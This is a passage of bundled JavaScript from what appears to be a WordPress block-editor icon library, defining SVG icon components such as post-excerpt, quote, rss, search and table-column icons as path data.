    /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(import_primitives105.Path, { d: &quot;M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(import_primitives105.Path, { d: &quot;M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z&quot; })
  ] });

  // packages/icons/build-module/library/post-excerpt.mjs
  var import_primitives106 = __toESM(require_primitives(), 1);
  var import_jsx_runtime107 = __toESM(require_jsx_runtime(), 1);
  var post_excerpt_default = /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(import_primitives106.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(import_primitives106.Path, { d: &quot;M8.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H4v-3h4.001ZM4 20h9v-1.5H4V20Zm16-4H4v-1.5h16V16ZM13.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H9v-3h4.001Z&quot; }) });

  // packages/icons/build-module/library/post-featured-image.mjs
  var import_primitives107 = __toESM(require_primitives(), 1);
  var import_jsx_runtime108 = __toESM(require_jsx_runtime(), 1);
  var post_featured_image_default = /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(import_primitives107.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(import_primitives107.Path, { d: &quot;M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z&quot; }) });

  // packages/icons/build-module/library/post-list.mjs
  var import_primitives108 = __toESM(require_primitives(), 1);
  var import_jsx_runtime109 = __toESM(require_jsx_runtime(), 1);
  var post_list_default = /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives108.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives108.Path, { d: &quot;M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z&quot; }) });

  // packages/icons/build-module/library/post-terms.mjs
  var import_primitives109 = __toESM(require_primitives(), 1);
  var import_jsx_runtime110 = __toESM(require_jsx_runtime(), 1);
  var post_terms_default = /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(import_primitives109.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(import_primitives109.Path, { d: &quot;M8.1 12.3c.1.1.3.3.5.3.2.1.4.1.6.1.2 0 .4 0 .6-.1.2-.1.4-.2.5-.3l3-3c.3-.3.5-.7.5-1.1 0-.4-.2-.8-.5-1.1L9.7 3.5c-.1-.2-.3-.3-.5-.3H5c-.4 0-.8.4-.8.8v4.2c0 .2.1.4.2.5l3.7 3.6zM5.8 4.8h3.1l3.4 3.4v.1l-3 3 .5.5-.7-.5-3.3-3.4V4.8zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z&quot; }) });

  // packages/icons/build-module/library/preformatted.mjs
  var import_primitives110 = __toESM(require_primitives(), 1);
  var import_jsx_runtime111 = __toESM(require_jsx_runtime(), 1);
  var preformatted_default = /* @__PURE__ */ (0, import_jsx_runtime111.jsx)(import_primitives110.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime111.jsx)(import_primitives110.Path, { d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 16.5h6V15H7v1.5zm4-4h6V11h-6v1.5zM9 11H7v1.5h2V11zm6 5.5h2V15h-2v1.5z&quot; }) });

  // packages/icons/build-module/library/previous.mjs
  var import_primitives111 = __toESM(require_primitives(), 1);
  var import_jsx_runtime112 = __toESM(require_jsx_runtime(), 1);
  var previous_default = /* @__PURE__ */ (0, import_jsx_runtime112.jsx)(import_primitives111.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime112.jsx)(import_primitives111.Path, { d: &quot;M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z&quot; }) });

  // packages/icons/build-module/library/pull-left.mjs
  var import_primitives112 = __toESM(require_primitives(), 1);
  var import_jsx_runtime113 = __toESM(require_jsx_runtime(), 1);
  var pull_left_default = /* @__PURE__ */ (0, import_jsx_runtime113.jsx)(import_primitives112.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime113.jsx)(import_primitives112.Path, { d: &quot;M4 18h6V6H4v12zm9-9.5V10h7V8.5h-7zm0 7h7V14h-7v1.5z&quot; }) });

  // packages/icons/build-module/library/pull-right.mjs
  var import_primitives113 = __toESM(require_primitives(), 1);
  var import_jsx_runtime114 = __toESM(require_jsx_runtime(), 1);
  var pull_right_default = /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(import_primitives113.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(import_primitives113.Path, { d: &quot;M14 6v12h6V6h-6zM4 10h7V8.5H4V10zm0 5.5h7V14H4v1.5z&quot; }) });

  // packages/icons/build-module/library/pullquote.mjs
  var import_primitives114 = __toESM(require_primitives(), 1);
  var import_jsx_runtime115 = __toESM(require_jsx_runtime(), 1);
  var pullquote_default = /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(import_primitives114.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(import_primitives114.Path, { d: &quot;M18 8H6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v4zM4 4v1.5h16V4H4zm0 16h16v-1.5H4V20z&quot; }) });

  // packages/icons/build-module/library/query-pagination-next.mjs
  var import_primitives115 = __toESM(require_primitives(), 1);
  var import_jsx_runtime116 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_next_default = /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(import_primitives115.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(import_primitives115.Path, { d: &quot;M5 13.5h3v-3H5v3zm5 0h3v-3h-3v3zM17 9l-1 1 2 2-2 2 1 1 3-3-3-3z&quot; }) });

  // packages/icons/build-module/library/query-pagination-numbers.mjs
  var import_primitives116 = __toESM(require_primitives(), 1);
  var import_jsx_runtime117 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_numbers_default = /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(import_primitives116.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(import_primitives116.Path, { d: &quot;M4 13.5h6v-3H4v3zm8.2-2.5.8-.3V14h1V9.3l-2.2.7.4 1zm7.1-1.2c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3-.1-.8-.3-1.1z&quot; }) });

  // packages/icons/build-module/library/query-pagination-previous.mjs
  var import_primitives117 = __toESM(require_primitives(), 1);
  var import_jsx_runtime118 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_previous_default = /* @__PURE__ */ (0, import_jsx_runtime118.jsx)(import_primitives117.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime118.jsx)(import_primitives117.Path, { d: &quot;M16 10.5v3h3v-3h-3zm-5 3h3v-3h-3v3zM7 9l-3 3 3 3 1-1-2-2 2-2-1-1z&quot; }) });

  // packages/icons/build-module/library/query-pagination.mjs
  var import_primitives118 = __toESM(require_primitives(), 1);
  var import_jsx_runtime119 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_default = /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(import_primitives118.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(import_primitives118.Path, { d: &quot;M4 13.5h6v-3H4v3zm8 0h3v-3h-3v3zm5-3v3h3v-3h-3z&quot; }) });

  // packages/icons/build-module/library/quote.mjs
  var import_primitives119 = __toESM(require_primitives(), 1);
  var import_jsx_runtime120 = __toESM(require_jsx_runtime(), 1);
  var quote_default = /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(import_primitives119.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(import_primitives119.Path, { d: &quot;M13 6v6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H13zm-9 6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H4v6z&quot; }) });

  // packages/icons/build-module/library/remove-submenu.mjs
  var import_primitives120 = __toESM(require_primitives(), 1);
  var import_jsx_runtime121 = __toESM(require_jsx_runtime(), 1);
  var remove_submenu_default = /* @__PURE__ */ (0, import_jsx_runtime121.jsx)(import_primitives120.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime121.jsx)(import_primitives120.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;m13.955 20.748 8-17.5-.91-.416L19.597 6H13.5v1.5h5.411l-1.6 3.5H13.5v1.5h3.126l-1.6 3.5H13.5l.028 1.5h.812l-1.295 2.832.91.416ZM17.675 16l-.686 1.5h4.539L21.5 16h-3.825Zm2.286-5-.686 1.5H21.5V11h-1.54ZM2 12c0 3.58 2.42 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.48 0-4.5-1.52-4.5-4S5.52 7.5 8 7.5h3.5V6H8c-3.58 0-6 2.42-6 6Z&quot; }) });

  // packages/icons/build-module/library/resize-corner-ne.mjs
  var import_primitives121 = __toESM(require_primitives(), 1);
  var import_jsx_runtime122 = __toESM(require_jsx_runtime(), 1);
  var resize_corner_ne_default = /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(import_primitives121.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(import_primitives121.Path, { d: &quot;M7 18h4.5v1.5h-7v-7H6V17L17 6h-4.5V4.5h7v7H18V7L7 18Z&quot; }) });

  // packages/icons/build-module/library/row.mjs
  var import_primitives122 = __toESM(require_primitives(), 1);
  var import_jsx_runtime123 = __toESM(require_jsx_runtime(), 1);
  var row_default = /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(import_primitives122.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(import_primitives122.Path, { d: &quot;M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z&quot; }) });

  // packages/icons/build-module/library/rss.mjs
  var import_primitives123 = __toESM(require_primitives(), 1);
  var import_jsx_runtime124 = __toESM(require_jsx_runtime(), 1);
  var rss_default = /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(import_primitives123.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(import_primitives123.Path, { d: &quot;M5 10.2h-.8v1.5H5c1.9 0 3.8.8 5.1 2.1 1.4 1.4 2.1 3.2 2.1 5.1v.8h1.5V19c0-2.3-.9-4.5-2.6-6.2-1.6-1.6-3.8-2.6-6.1-2.6zm10.4-1.6C12.6 5.8 8.9 4.2 5 4.2h-.8v1.5H5c3.5 0 6.9 1.4 9.4 3.9s3.9 5.8 3.9 9.4v.8h1.5V19c0-3.9-1.6-7.6-4.4-10.4zM4 20h3v-3H4v3z&quot; }) });

  // packages/icons/build-module/library/search.mjs
  var import_primitives124 = __toESM(require_primitives(), 1);
  var import_jsx_runtime125 = __toESM(require_jsx_runtime(), 1);
  var search_default = /* @__PURE__ */ (0, import_jsx_runtime125.jsx)(import_primitives124.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime125.jsx)(import_primitives124.Path, { d: &quot;M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z&quot; }) });

  // packages/icons/build-module/library/separator.mjs
  var import_primitives125 = __toESM(require_primitives(), 1);
  var import_jsx_runtime126 = __toESM(require_jsx_runtime(), 1);
  var separator_default = /* @__PURE__ */ (0, import_jsx_runtime126.jsx)(import_primitives125.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime126.jsx)(import_primitives125.Path, { d: &quot;M4.5 12.5v4H3V7h1.5v3.987h15V7H21v9.5h-1.5v-4h-15Z&quot; }) });

  // packages/icons/build-module/library/share.mjs
  var import_primitives126 = __toESM(require_primitives(), 1);
  var import_jsx_runtime127 = __toESM(require_jsx_runtime(), 1);
  var share_default = /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(import_primitives126.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(import_primitives126.Path, { d: &quot;M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z&quot; }) });

  // packages/icons/build-module/library/shortcode.mjs
  var import_primitives127 = __toESM(require_primitives(), 1);
  var import_jsx_runtime128 = __toESM(require_jsx_runtime(), 1);
  var shortcode_default = /* @__PURE__ */ (0, import_jsx_runtime128.jsx)(import_primitives127.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime128.jsx)(import_primitives127.Path, { d: &quot;M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z&quot; }) });

  // packages/icons/build-module/library/sidebar.mjs
  var import_primitives128 = __toESM(require_primitives(), 1);
  var import_jsx_runtime129 = __toESM(require_jsx_runtime(), 1);
  var sidebar_default = /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(import_primitives128.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(import_primitives128.Path, { d: &quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot; }) });

  // packages/icons/build-module/library/site-logo.mjs
  var import_primitives129 = __toESM(require_primitives(), 1);
  var import_jsx_runtime130 = __toESM(require_jsx_runtime(), 1);
  var site_logo_default = /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(import_primitives129.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(import_primitives129.Path, { d: &quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm0 1.5c3.4 0 6.2 2.7 6.5 6l-1.2-.6-.8-.4c-.1 0-.2 0-.3-.1H16c-.1-.2-.4-.2-.7 0l-2.9 2.1L9 11.3h-.7L5.5 13v-1.1c0-3.6 2.9-6.5 6.5-6.5Zm0 13c-2.7 0-5-1.7-6-4l2.8-1.7 3.5 1.2h.4s.2 0 .4-.2l2.9-2.1.4.2c.6.3 1.4.7 2.1 1.1-.5 3.1-3.2 5.4-6.4 5.4Z&quot; }) });

  // packages/icons/build-module/library/square.mjs
  var import_primitives130 = __toESM(require_primitives(), 1);
  var import_jsx_runtime131 = __toESM(require_jsx_runtime(), 1);
  var square_default = /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(import_primitives130.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(import_primitives130.Path, { fill: &quot;none&quot;, d: &quot;M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25&quot;, stroke: &quot;currentColor&quot;, strokeWidth: &quot;1.5&quot;, strokeLinecap: &quot;square&quot; }) });

  // packages/icons/build-module/library/stack.mjs
  var import_primitives131 = __toESM(require_primitives(), 1);
  var import_jsx_runtime132 = __toESM(require_jsx_runtime(), 1);
  var stack_default = /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(import_primitives131.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(import_primitives131.Path, { d: &quot;M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z&quot; }) });

  // packages/icons/build-module/library/symbol-filled.mjs
  var import_primitives132 = __toESM(require_primitives(), 1);
  var import_jsx_runtime133 = __toESM(require_jsx_runtime(), 1);
  var symbol_filled_default = /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(import_primitives132.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(import_primitives132.Path, { d: &quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot; }) });

  // packages/icons/build-module/library/symbol.mjs
  var import_primitives133 = __toESM(require_primitives(), 1);
  var import_jsx_runtime134 = __toESM(require_jsx_runtime(), 1);
  var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(import_primitives133.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(import_primitives133.Path, { d: &quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot; }) });

  // packages/icons/build-module/library/tab.mjs
  var import_primitives134 = __toESM(require_primitives(), 1);
  var import_jsx_runtime135 = __toESM(require_jsx_runtime(), 1);
  var tab_default = /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(import_primitives134.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(import_primitives134.Path, { d: &quot;M4 16.5h13V15H4v1.5ZM4 12v1.5h16V12H4Zm1.5-4.2c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8H5.6c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8Z&quot; }) });

  // packages/icons/build-module/library/table-column-after.mjs
  var import_primitives135 = __toESM(require_primitives(), 1);
  var import_jsx_runtime136 = __toESM(require_jsx_runtime(), 1);
  var table_column_after_default = /* @__PURE__ */ (0, import_jsx_runtime136.jsx)(import_primitives135.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime136.jsx)(import_primitives135.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm0-5.5h-4v-4h4v4Zm0-5.5h-4V5c0-.3.2-.5.5-.5h3.5v4Zm11 10.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14Zm-4-10.8H14v3h-3v1.5h3v3h1.5v-3h3v-1.5h-3v-3Z&quot; }) });

  // packages/icons/build-module/library/table-column-before.mjs
  var import_primitives136 = __toESM(require_primitives(), 1);
  var import_jsx_runtime137 = __toESM(require_jsx_runtime(), 1);
  var table_column_before_default = /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(import_primitives136.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(import_primitives136.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1 .8 1.9 1.8 2H19.2c.9-.1 1.7-.9 1.8-1.8V5c0-1.1-.9-2-2-2Zm-5 16.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h9v15Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19Zm0-5h-4v-4h4v4Zm0-5.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-11 7.3H10v-3h3v-1.5h-3v-3H8.5v3h-3v1.5h3v3Z&quot; }) });

  // packages/icons/build-module/library/table-column-delete.mjs
  var import_primitives137 = __toESM(require_primitives(), 1);
  var import_jsx_runtime138 = __toESM(require_jsx_runtime(), 1);
  var table_column_delete_default = /* @__PURE__ */ (0, import_jsx_runtime138.jsx)(import_primitives137.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime138.jsx)(import_primitives137.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h3.5v15Zm11-.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14ZM16.9 8.8l-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1L18 9.9l-1.1-1.1Z&quot; }) });

  // packages/icons/build-module/library/table-of-contents.mjs
  var import_primitives138 = __toESM(require_primitives(), 1);
  var import_jsx_runtime139 = __toESM(require_jsx_runtime(), 1);
  var table_of_contents_default = /* @__PURE__ */ (0, import_jsx_runtime139.jsxs)(import_primitives138.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(import_primitives138.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M20 9.484h-8.889v-1.5H20v1.5Zm0 7h-4.889v-1.5H20v1.5Zm-14 .032a1 1 0 1 0 0-2 1 1 0 0 0 0 2Zm0 1a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(import_primitives138.Path, { d: &quot;M13 15.516a2 2 0 1 1-4 0 2 2 0 0 1 4 0ZM8 8.484a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z&quot; })
  ] });

  // packages/icons/build-module/library/table-row-after.mjs
  var import_primitives139 = __toESM(require_primitives(), 1);
  var import_jsx_runtime140 = __toESM(require_jsx_runtime(), 1);
  var table_row_after_default = /* @__PURE__ */ (0, import_jsx_runtime140.jsx)(import_primitives139.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime140.jsx)(import_primitives139.Path, { d: &quot;M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm-9 1.5h4v4h-4v-4ZM4.5 5c0-.3.2-.5.5-.5h3.5v4h-4V5Zm15 14c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-8.3 10h1.5v-3h3V14h-3v-3h-1.5v3h-3v1.5h3v3Z&quot; }) });

  // packages/icons/build-module/library/table-row-before.mjs
  var import_primitives140 = __toESM(require_primitives(), 1);
  var import_jsx_runtime141 = __toESM(require_jsx_runtime(), 1);
